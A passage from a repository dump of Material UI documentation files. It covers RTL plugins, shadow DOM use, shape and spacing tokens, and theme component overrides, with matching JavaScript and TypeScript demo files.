@mui/stylis-plugin-rtl\n```\n\n</codeblock>\n\n#### With Emotion\n\nIf you're using Emotion, use the [CacheProvider](https://emotion.sh/docs/cache-provider) to create a new cache instance that uses `rtlPlugin` from `@mui/stylis-plugin-rtl` and add that to the top of your application tree:\n\n```jsx\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\nimport { prefixer } from 'stylis';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\n\n// Create rtl cache\nconst rtlCache = createCache({\n  key: 'muirtl',\n  stylisPlugins: [prefixer, rtlPlugin],\n});\n\nfunction Rtl(props) {\n  return <CacheProvider value={rtlCache}>{props.children}</CacheProvider>;\n}\n```\n\n#### With styled-components\n\nIf you're using styled-components, use the [StyleSheetManager](https://styled-components.com/docs/api#stylesheetmanager) and provide `rtlPlugin` to the `stylisPlugins` property:\n\n```jsx\nimport { StyleSheetManager } from 'styled-components';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\n\nfunction Rtl(props) {\n  return (\n    <StyleSheetManager stylisPlugins={[rtlPlugin]}>\n      {props.children}\n    </StyleSheetManager>\n  );\n}\n```\n\n## Opting out of RTL locally\n\nTo turn off RTL on specific components, use the template literal syntax and add the `/* @noflip */` directive:\n\n```js\nconst LeftToRightTextInRtlApp = styled('div')`\n  /* @noflip */\n  text-align: left;\n`;\n```\n\n{{\"demo\": \"RtlOptOut.js\"}}\n"
  },
  {
    "path": "docs/data/material/customization/shadow-dom/ShadowDOMDemoNoSnap.js",
    "content": "export default function ShadowDOMDemoNoSnap() {\n  return (\n    <iframe\n      title=\"codesandbox\"\n      src=\"https://codesandbox.io/embed/6vcl2f?view=Editor+%2B+Preview&module=%2Findex.tsx\"\n      style={{\n        width: '100%',\n        height: 350,\n        border: 0,\n      }}\n      sandbox=\"allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts\"\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/shadow-dom/shadow-dom.md",
    "content": "# Shadow DOM\n\n<p class=\"description\">The shadow DOM lets you encapsulate parts of an app to keep them separate from global styles that target the regular DOM tree.</p>\n\n## How to use the shadow DOM with Material UI\n\n### 1. Styles\n\nThe shadow DOM is an API that provides a way to attach a hidden separated DOM to an element.\nThis is useful when you need to keep the structure, style, and behavior of different components separate from the rest of the code on the page, to prevent conflicts.\nSee [the MDN docs on the shadow DOM](https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_shadow_DOM) for more information.\nThe following code snippet shows how to apply styles inside of the shadow DOM:\n\n```tsx\nconst container = document.querySelector('#root');\nconst shadowContainer = container.attachShadow({ mode: 'open' });\nconst shadowRootElement = document.createElement('div');\nshadowContainer.appendChild(shadowRootElement);\n\nconst cache = createCache({\n  key: 'css',\n  prepend: true,\n  container: shadowContainer,\n});\n\nReactDOM.createRoot(shadowRootElement).render(\n  <CacheProvider value={cache}>\n    <App />\n  </CacheProvider>,\n);\n```\n\n### 2. Theme\n\nMaterial UI components like Menu, Dialog, Popover, and others use the [Portal](/material-ui/react-portal/) component to render a new \"subtree\" in a container outside of current DOM hierarchy.\nBy default, this container is `document.body`.\nBut since the styles are applied only inside of the Shadow DOM, we need to render portals inside the Shadow DOM container as well:\n\n```tsx\nconst theme = createTheme({\n  components: {\n    MuiPopover: {\n      defaultProps: {\n        container: shadowRootElement,\n      },\n    },\n    MuiPopper: {\n      defaultProps: {\n        container: shadowRootElement,\n      },\n    },\n    MuiModal: {\n      defaultProps: {\n        container: shadowRootElement,\n      },\n    },\n  },\n});\n\n// ...\n\n<ThemeProvider theme={theme}>\n  <App />\n</ThemeProvider>;\n```\n\n### 3. CSS theme variables (optional)\n\n:::info\nIf you use **TypeScript**, you need to [extend the interface of the theme](/material-ui/customization/css-theme-variables/usage/#typescript) first.\n:::\n\nTo use [CSS theme variables](/material-ui/customization/css-theme-variables/overview/) inside of the shadow DOM, you need to set the selectors for generating the CSS variables:\n\n```diff\n const theme = createTheme({\n+  cssVariables: {\n+    rootSelector: ':host',\n+    colorSchemeSelector: 'class',\n+  },\n   components: {\n     // ...same as above steps\n   }\n })\n```\n\nFinally, set the `colorSchemeNode` prop using `shadowRootElement`, from step 1, as the value:\n\n```diff\n <ThemeProvider\n   theme={theme}\n+  colorSchemeNode={shadowRootElement}\n >\n```\n\n## Demo\n\nIn the example below you can see that the component outside of the shadow DOM is affected by global styles, while the component inside of the shadow DOM is not:\n\n{{\"demo\": \"ShadowDOMDemoNoSnap.js\", \"hideToolbar\": true, \"bg\": true}}\n"
  },
  {
    "path": "docs/data/material/customization/shape/shape.md",
    "content": "# Shape\n\n<p class=\"description\">The shape is a design token that helps control the border radius of components.</p>\n\nThe `shape` contains a single property, `borderRadius`, with the default value of `4px`.\nSeveral components use this value to set consistent border radii across the library.\n\n## Custom shape\n\nTo add custom shapes, create a theme with the `shape` key:\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  shape: {\n    borderRadius: 8,\n    borderRadiusSm: 4, // new property\n    borderRadiusMd: 8, // new property\n    borderRadiusLg: 16, // new property\n    borderRadiusXl: 24, // new property\n  },\n});\n```\n\n### Typescript\n\nIf you're using TypeScript you need to use [module augmentation](/material-ui/guides/typescript/#customization-of-theme) to extend **new** shape properties to the theme.\n\n```ts\ndeclare module '@mui/material/styles' {\n  interface Shape {\n    borderRadiusSm: number;\n    borderRadiusMd: number;\n    borderRadiusLg: number;\n    borderRadiusXl: number;\n  }\n\n  interface ShapeOptions {\n    borderRadiusSm?: number;\n    borderRadiusMd?: number;\n    borderRadiusLg?: number;\n    borderRadiusXl?: number;\n  }\n}\n```\n"
  },
  {
    "path": "docs/data/material/customization/spacing/spacing.md",
    "content": "# Spacing\n\n<p class=\"description\">Use the theme.spacing() helper to create consistent spacing between the elements of your UI.</p>\n\nMaterial UI uses [a recommended 8px scaling factor](https://m2.material.io/design/layout/understanding-layout.html) by default.\n\n```js\nconst theme = createTheme();\n\ntheme.spacing(2); // `${8 * 2}px` = '16px'\n```\n\n## Custom spacing\n\nYou can change the spacing transformation by providing:\n\n- a number\n\n```js\nconst theme = createTheme({\n  spacing: 4,\n});\n\ntheme.spacing(2); // `${4 * 2}px` = '8px'\n```\n\n- a function\n\n```js\nconst theme = createTheme({\n  spacing: (factor) => `${0.25 * factor}rem`, // (Bootstrap strategy)\n});\n\ntheme.spacing(2); // = 0.25 * 2rem = 0.5rem = 8px\n```\n\n- an array\n\n```js\nconst theme = createTheme({\n  spacing: [0, 4, 8, 16, 32, 64],\n});\n\ntheme.spacing(2); // = '8px'\n```\n\n:::warning\nNote that when spacing is defined as an array, it only works with positive integers that will be used as array indexes.<br />\nIt doesn't support all possible signatures of the `theme.spacing()` helper, for example `theme.spacing(0.5)`, `theme.spacing(-1)`, or `theme.spacing(1, 'auto')`.\n\nIf you must use spacing array, consider using a function signature that can handle all possible signatures of the `theme.spacing()` helper:\n\n<details>\n<summary>Spacing function example</summary>\n\n```tsx\nconst spacings = [0, 4, 8, 16, 32, 64];\n\nconst theme = createTheme({\n  spacing: (factor: number | 'auto' = 1) => {\n    if (factor === 'auto') {\n      return 'auto';\n    }\n    const sign = factor >= 0 ? 1 : -1;\n    const factorAbs = Math.min(Math.abs(factor), spacings.length - 1);\n    if (Number.isInteger(factor)) {\n      return spacings[factorAbs] * sign;\n    }\n    return interpolate(factorAbs, spacings) * sign;\n  },\n});\n\nconst interpolate = (value: number, array: readonly number[]) => {\n  const floor = Math.floor(value);\n  const ceil = Math.ceil(value);\n  const diff = value - floor;\n  return array[floor] + (array[ceil] - array[floor]) * diff;\n};\n```\n\n</details>\n\n:::\n\n## Multiple arity\n\nThe `theme.spacing()` helper accepts up to 4 arguments.\nYou can use the arguments to reduce the boilerplate.\n\n```diff\n-padding: `${theme.spacing(1)} ${theme.spacing(2)}`, // '8px 16px'\n+padding: theme.spacing(1, 2), // '8px 16px'\n```\n\nMixing string values is also supported:\n\n```js\nmargin: theme.spacing(1, 'auto'), // '8px auto'\n```\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/DefaultProps.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  components: {\n    // Name of the component ⚛️\n    MuiButtonBase: {\n      defaultProps: {\n        // The default props to change\n        disableRipple: true, // No more ripple, on the whole application 💣!\n      },\n    },\n  },\n});\n\nexport default function DefaultProps() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>This button has disabled ripples.</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/DefaultProps.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  components: {\n    // Name of the component ⚛️\n    MuiButtonBase: {\n      defaultProps: {\n        // The default props to change\n        disableRipple: true, // No more ripple, on the whole application 💣!\n      },\n    },\n  },\n});\n\nexport default function DefaultProps() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>This button has disabled ripples.</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/DefaultProps.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Button>This button has disabled ripples.</Button>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalCss.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      // Style sheet name ⚛️\n      styleOverrides: {\n        // Name of the rule\n        root: {\n          variants: [\n            {\n              props: { variant: 'text', color: 'primary' },\n              style: {\n                // Some CSS\n                background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',\n                borderRadius: 3,\n                border: 0,\n                color: 'white',\n                height: 48,\n                padding: '0 30px',\n                boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',\n              },\n            },\n          ],\n        },\n      },\n    },\n  },\n});\n\nexport default function GlobalCss() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>Overrides CSS</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalCss.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      // Style sheet name ⚛️\n      styleOverrides: {\n        // Name of the rule\n        root: {\n          variants: [\n            {\n              props: { variant: 'text', color: 'primary' },\n              style: {\n                // Some CSS\n                background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',\n                borderRadius: 3,\n                border: 0,\n                color: 'white',\n                height: 48,\n                padding: '0 30px',\n                boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',\n              },\n            },\n          ],\n        },\n      },\n    },\n  },\n});\n\nexport default function GlobalCss() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>Overrides CSS</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalCss.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Button>Overrides CSS</Button>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalThemeOverride.js",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      styleOverrides: {\n        root: {\n          fontSize: '1rem',\n        },\n      },\n    },\n  },\n});\n\nexport default function GlobalThemeOverride() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>font-size: 1rem</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalThemeOverride.tsx",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      styleOverrides: {\n        root: {\n          fontSize: '1rem',\n        },\n      },\n    },\n  },\n});\n\nexport default function GlobalThemeOverride() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>font-size: 1rem</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalThemeOverride.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Button>font-size: 1rem</Button>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalThemeOverrideSx.js",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Chip from '@mui/material/Chip';\nimport Check from '@mui/icons-material/Check';\n\nconst finalTheme = createTheme({\n  components: {\n    MuiChip: {\n      styleOverrides: {\n        root: ({ theme }) =>\n          theme.unstable_sx({\n            // https://mui.com/system/getting-started/the-sx-prop/#spacing\n            px: 1,\n            py: 0.25,\n            // https://mui.com/system/borders/#border-radius\n            borderRadius: 1, // 4px as default.\n          }),\n        label: {\n          padding: 'initial',\n        },\n        icon: ({ theme }) =>\n          theme.unstable_sx({\n            mr: 0.5,\n            ml: '-2px',\n          }),\n      },\n    },\n  },\n});\n\nexport default function GlobalThemeOverrideSx() {\n  return (\n    <ThemeProvider theme={finalTheme}>\n      <Chip\n        color=\"success\"\n        label={\n          <span>\n            <b>Status:</b> Completed\n          </span>\n        }\n        icon={<Check fontSize=\"small\" />}\n      />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalThemeOverrideSx.tsx",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Chip from '@mui/material/Chip';\nimport Check from '@mui/icons-material/Check';\n\nconst finalTheme = createTheme({\n  components: {\n    MuiChip: {\n      styleOverrides: {\n        root: ({ theme }) =>\n          theme.unstable_sx({\n            // https://mui.com/system/getting-started/the-sx-prop/#spacing\n            px: 1,\n            py: 0.25,\n            // https://mui.com/system/borders/#border-radius\n            borderRadius: 1, // 4px as default.\n          }),\n        label: {\n          padding: 'initial',\n        },\n        icon: ({ theme }) =>\n          theme.unstable_sx({\n            mr: 0.5,\n            ml: '-2px',\n          }),\n      },\n    },\n  },\n});\n\nexport default function GlobalThemeOverrideSx() {\n  return (\n    <ThemeProvider theme={finalTheme}>\n      <Chip\n        color=\"success\"\n        label={\n          <span>\n            <b>Status:</b> Completed\n          </span>\n        }\n        icon={<Check fontSize=\"small\" />}\n      />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalThemeOverrideSx.tsx.preview",
    "content": "<ThemeProvider theme={finalTheme}>\n  <Chip\n    color=\"success\"\n    label={\n      <span>\n        <b>Status:</b> Completed\n      </span>\n    }\n    icon={<Check fontSize=\"small\" />}\n  />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalThemeVariants.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst customTheme = createTheme({\n  components: {\n    MuiButton: {\n      styleOverrides: {\n        root: {\n          variants: [\n            {\n              props: { variant: 'dashed' },\n              style: ({ theme }) => ({\n                textTransform: 'none',\n                border: `2px dashed ${theme.palette.primary.main}`,\n                color: theme.palette.primary.main,\n              }),\n            },\n            {\n              props: { variant: 'dashed', color: 'secondary' },\n              style: ({ theme }) => ({\n                border: `2px dashed ${theme.palette.secondary.main}`,\n                color: theme.palette.secondary.main,\n              }),\n            },\n            {\n              props: { variant: 'dashed', size: 'large' },\n              style: {\n                borderWidth: 4,\n              },\n            },\n            {\n              props: { variant: 'dashed', color: 'secondary', size: 'large' },\n              style: {\n                fontSize: 18,\n              },\n            },\n          ],\n        },\n      },\n    },\n  },\n});\n\nexport default function GlobalThemeVariants() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <Button variant=\"dashed\" sx={{ m: 1 }}>\n        Dashed\n      </Button>\n      <Button variant=\"dashed\" color=\"secondary\" sx={{ m: 1 }}>\n        Secondary\n      </Button>\n      <Button variant=\"dashed\" size=\"large\" sx={{ m: 1 }}>\n        Large\n      </Button>\n      <Button variant=\"dashed\" color=\"secondary\" size=\"large\" sx={{ m: 1 }}>\n        Secondary large\n      </Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalThemeVariants.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsVariantOverrides {\n    dashed: true;\n  }\n}\n\nconst customTheme = createTheme({\n  components: {\n    MuiButton: {\n      styleOverrides: {\n        root: {\n          variants: [\n            {\n              props: { variant: 'dashed' },\n              style: ({ theme }) => ({\n                textTransform: 'none',\n                border: `2px dashed ${theme.palette.primary.main}`,\n                color: theme.palette.primary.main,\n              }),\n            },\n            {\n              props: { variant: 'dashed', color: 'secondary' },\n              style: ({ theme }) => ({\n                border: `2px dashed ${theme.palette.secondary.main}`,\n                color: theme.palette.secondary.main,\n              }),\n            },\n            {\n              props: { variant: 'dashed', size: 'large' },\n              style: {\n                borderWidth: 4,\n              },\n            },\n            {\n              props: { variant: 'dashed', color: 'secondary', size: 'large' },\n              style: {\n                fontSize: 18,\n              },\n            },\n          ],\n        },\n      },\n    },\n  },\n});\n\nexport default function GlobalThemeVariants() {\n  return (\n    <ThemeProvider theme={customTheme}>\n      <Button variant=\"dashed\" sx={{ m: 1 }}>\n        Dashed\n      </Button>\n      <Button variant=\"dashed\" color=\"secondary\" sx={{ m: 1 }}>\n        Secondary\n      </Button>\n      <Button variant=\"dashed\" size=\"large\" sx={{ m: 1 }}>\n        Large\n      </Button>\n      <Button variant=\"dashed\" color=\"secondary\" size=\"large\" sx={{ m: 1 }}>\n        Secondary large\n      </Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/GlobalThemeVariants.tsx.preview",
    "content": "<ThemeProvider theme={customTheme}>\n  <Button variant=\"dashed\" sx={{ m: 1 }}>\n    Dashed\n  </Button>\n  <Button variant=\"dashed\" color=\"secondary\" sx={{ m: 1 }}>\n    Secondary\n  </Button>\n  <Button variant=\"dashed\" size=\"large\" sx={{ m: 1 }}>\n    Large\n  </Button>\n  <Button variant=\"dashed\" color=\"secondary\" size=\"large\" sx={{ m: 1 }}>\n    Secondary large\n  </Button>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/theme-components/ThemeVariables.js",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  typography: {\n    button: {\n      fontSize: '1rem',\n    },\n  },\n});\n\nexport default function ThemeVariables() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>font-size: 1rem</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/ThemeVariables.tsx",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  typography: {\n    button: {\n      fontSize: '1rem',\n    },\n  },\n});\n\nexport default function ThemeVariables() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>font-size: 1rem</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theme-components/ThemeVariables.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Button>font-size: 1rem</Button>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/theme-components/theme-components.md",
    "content": "# Themed components\n\n<p class=\"description\">You can customize a component's styles, default props, and more by using its component key inside the theme.</p>\n\nThe `components` key in the theme helps to achieve styling consistency across your application.\nHowever, the theme isn't tree-shakable, prefer creating new components for heavy customizations.\n\n## Theme default props\n\nEvery Material UI component has default values for each of its props.\nTo change these default values, use the `defaultProps` key exposed in the theme's `components` key:\n\n```js\nconst theme = createTheme({\n  components: {\n    // Name of the component\n    MuiButtonBase: {\n      defaultProps: {\n        // The props to change the default for.\n        disableRipple: true, // No more ripple, on the whole application 💣!\n      },\n    },\n  },\n});\n```\n\n{{\"demo\": \"DefaultProps.js\"}}\n\nIf you're using TypeScript and [lab components](/material-ui/about-the-lab/), check [this article to learn how to override their styles](/material-ui/about-the-lab/#typescript).\n\n## Theme style overrides\n\nThe theme's `styleOverrides` key makes it possible to change the default styles of any Material UI component.\n\n`styleOverrides` requires a slot name as a key (use `root` to target the outer-most element) and an object with CSS properties as a value.\nNested CSS selectors are also supported as values.\n\n```js\nconst theme = createTheme({\n  components: {\n    // Name of the component\n    MuiButton: {\n      styleOverrides: {\n        // Name of the slot\n        root: {\n          // Some CSS\n          fontSize: '1rem',\n        },\n      },\n    },\n  },\n});\n```\n\n{{\"demo\": \"GlobalThemeOverride.js\"}}\n\n### Variants\n\nMost components include design-related props that affect their appearance.\nFor example, the Card component supports a `variant` prop where you can pick `outlined` as a value that adds a border.\n\nIf you want to override styles based on a specific prop, you can use the `variants` key in the particular slot that contains `props` and `style` keys. When the component's `props` matches, the `style` will be applied.\n\nOverride definitions are specified as an array.\nAlso, ensure that any styles that should take precedence are listed last.\n\n#### Overriding styles based on existing props\n\nThe example below demonstrates the increase of the border thickness of the `outlined` Card:\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiCard: {\n      styleOverrides: {\n        root: {\n          variants: [\n            {\n              props: { variant: 'outlined' },\n              style: {\n                borderWidth: '3px',\n              },\n            },\n          ],\n        },\n      },\n    },\n  },\n});\n```\n\n#### Adding styles based on new values\n\nThe example below demonstrates the addition of a new variant `dashed` to the Button component:\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      styleOverrides: {\n        root: {\n          variants: [\n            {\n              // `dashed` is an example value, it can be any name.\n              props: { variant: 'dashed' },\n              style: {\n                textTransform: 'none',\n                border: `2px dashed ${blue[500]}`,\n              },\n            },\n          ],\n        },\n      },\n    },\n  },\n});\n```\n\n#### Overriding styles based on existing and new props\n\nThe example below demonstrates the override of styles when the Button's variant is `dashed` (a new variant) and color is `secondary` (an existing color):\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      styleOverrides: {\n        root: {\n          variants: [\n            {\n              props: { variant: 'dashed', color: 'secondary' },\n              style: {\n                border: `4px dashed ${red[500]}`,\n              },\n            },\n          ],\n        },\n      },\n    },\n  },\n});\n```\n\nIf you're using TypeScript, you'll need to specify your new variants/colors, using [module augmentation](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation).\n\n<!-- Tested with packages/mui-material/test/typescript/augmentation/themeComponents.spec.ts -->\n\n```tsx\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsVariantOverrides {\n    dashed: true;\n  }\n}\n```\n\n{{\"demo\": \"GlobalThemeVariants.js\"}}\n\nThe variant `props` can also be defined as a callback, allowing you to apply styles based on conditions. This is useful for styling when a property does not have a specific value.\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      styleOverrides: {\n        root: {\n          variants: [\n            {\n              props: (props) =>\n                props.variant === 'dashed' && props.color !== 'secondary',\n              style: {\n                textTransform: 'none',\n                border: `2px dashed ${blue[500]}`,\n              },\n            },\n          ],\n        },\n      },\n    },\n  },\n});\n```\n\n### Slot ownerState callback (deprecated)\n\nUsing callback to access slot's `ownerState` has been deprecated, use [variants](#variants) instead.\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiButton: {\n       styleOverrides: {\n-        root: ({ ownerState, theme }) => ({ ... }),\n+        root: {\n+          variants: [...],\n         },\n       },\n     },\n   },\n });\n```\n\n### The `sx` syntax (experimental)\n\nThe `sx` prop acts as a shortcut for defining custom styles that access the theme object.\nThis prop lets you write inline styles using a superset of CSS.\nLearn more about [the concept behind the `sx` prop](/system/getting-started/the-sx-prop/) and [how `sx` differs from the `styled` utility](/system/styled/#difference-with-the-sx-prop).\n\nYou can use the `sx` prop inside the `styleOverrides` key to modify styles within the theme using shorthand CSS notation.\nThis is especially handy if you're already using the `sx` prop with your components because you can use the same syntax in your theme and quickly transfer styles between the two.\n\n:::info\nThe `sx` prop is a stable feature for customizing components since Material UI v5, but it is still considered _experimental_ when used directly inside the theme object.\n:::\n\n{{\"demo\": \"GlobalThemeOverrideSx.js\", \"defaultCodeOpen\": false}}\n\n```tsx\nconst finalTheme = createTheme({\n  components: {\n    MuiChip: {\n      styleOverrides: {\n        root: ({ theme }) =>\n          theme.unstable_sx({\n            px: 1,\n            py: 0.25,\n            borderRadius: 1,\n          }),\n        label: {\n          padding: 'initial',\n        },\n        icon: ({ theme }) =>\n          theme.unstable_sx({\n            mr: 0.5,\n            ml: '-2px',\n          }),\n      },\n    },\n  },\n});\n```\n\n### Specificity\n\nIf you use the theming approach to customize the components, you'll still be able to override them using the `sx` prop as it has a higher CSS specificity, even if you're using the experimental `sx` syntax within the theme.\n\n## Theme variables\n\nAnother way to override the look of all component instances is to adjust the [theme configuration variables](/material-ui/customization/theming/#theme-configuration-variables).\n\n```js\nconst theme = createTheme({\n  typography: {\n    button: {\n      fontSize: '1rem',\n    },\n  },\n});\n```\n\n{{\"demo\": \"ThemeVariables.js\"}}\n"
  },
  {
    "path": "docs/data/material/customization/theming/CustomStyles.js",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport { createTheme, ThemeProvider, styled } from '@mui/material/styles';\nimport { orange } from '@mui/material/colors';\n\nconst CustomCheckbox = styled(Checkbox)(({ theme }) => ({\n  color: theme.status.danger,\n  '&.Mui-checked': {\n    color: theme.status.danger,\n  },\n}));\n\nconst theme = createTheme({\n  status: {\n    danger: orange[500],\n  },\n});\n\nexport default function CustomStyles() {\n  return (\n    <ThemeProvider theme={theme}>\n      <CustomCheckbox defaultChecked />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theming/CustomStyles.tsx",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport { createTheme, ThemeProvider, styled } from '@mui/material/styles';\nimport { orange } from '@mui/material/colors';\n\ndeclare module '@mui/material/styles' {\n  interface Theme {\n    status: {\n      danger: string;\n    };\n  }\n  // allow configuration using `createTheme()`\n  interface ThemeOptions {\n    status?: {\n      danger?: string;\n    };\n  }\n}\n\nconst CustomCheckbox = styled(Checkbox)(({ theme }) => ({\n  color: theme.status.danger,\n  '&.Mui-checked': {\n    color: theme.status.danger,\n  },\n}));\n\nconst theme = createTheme({\n  status: {\n    danger: orange[500],\n  },\n});\n\nexport default function CustomStyles() {\n  return (\n    <ThemeProvider theme={theme}>\n      <CustomCheckbox defaultChecked />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theming/CustomStyles.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <CustomCheckbox defaultChecked />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/theming/ThemeNesting.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Checkbox from '@mui/material/Checkbox';\nimport { green, orange } from '@mui/material/colors';\n\nconst outerTheme = createTheme({\n  palette: {\n    primary: {\n      main: orange[500],\n    },\n  },\n});\n\nconst innerTheme = createTheme({\n  palette: {\n    primary: {\n      main: green[500],\n    },\n  },\n});\n\nexport default function ThemeNesting() {\n  return (\n    <ThemeProvider theme={outerTheme}>\n      <Checkbox defaultChecked />\n      <ThemeProvider theme={innerTheme}>\n        <Checkbox defaultChecked />\n      </ThemeProvider>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theming/ThemeNesting.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Checkbox from '@mui/material/Checkbox';\nimport { green, orange } from '@mui/material/colors';\n\nconst outerTheme = createTheme({\n  palette: {\n    primary: {\n      main: orange[500],\n    },\n  },\n});\n\nconst innerTheme = createTheme({\n  palette: {\n    primary: {\n      main: green[500],\n    },\n  },\n});\n\nexport default function ThemeNesting() {\n  return (\n    <ThemeProvider theme={outerTheme}>\n      <Checkbox defaultChecked />\n      <ThemeProvider theme={innerTheme}>\n        <Checkbox defaultChecked />\n      </ThemeProvider>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theming/ThemeNesting.tsx.preview",
    "content": "<ThemeProvider theme={outerTheme}>\n  <Checkbox defaultChecked />\n  <ThemeProvider theme={innerTheme}>\n    <Checkbox defaultChecked />\n  </ThemeProvider>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/theming/ThemeNestingExtend.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Checkbox from '@mui/material/Checkbox';\nimport { green, orange } from '@mui/material/colors';\n\nconst outerTheme = createTheme({\n  palette: {\n    secondary: {\n      main: orange[500],\n    },\n  },\n});\n\nexport default function ThemeNestingExtend() {\n  return (\n    <ThemeProvider theme={outerTheme}>\n      <Checkbox defaultChecked color=\"secondary\" />\n      <ThemeProvider\n        theme={(theme) =>\n          createTheme({\n            ...theme,\n            palette: {\n              ...theme.palette,\n              primary: {\n                main: green[500],\n              },\n            },\n          })\n        }\n      >\n        <Checkbox defaultChecked />\n        <Checkbox defaultChecked color=\"secondary\" />\n      </ThemeProvider>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/theming/ThemeNestingExtend.tsx",
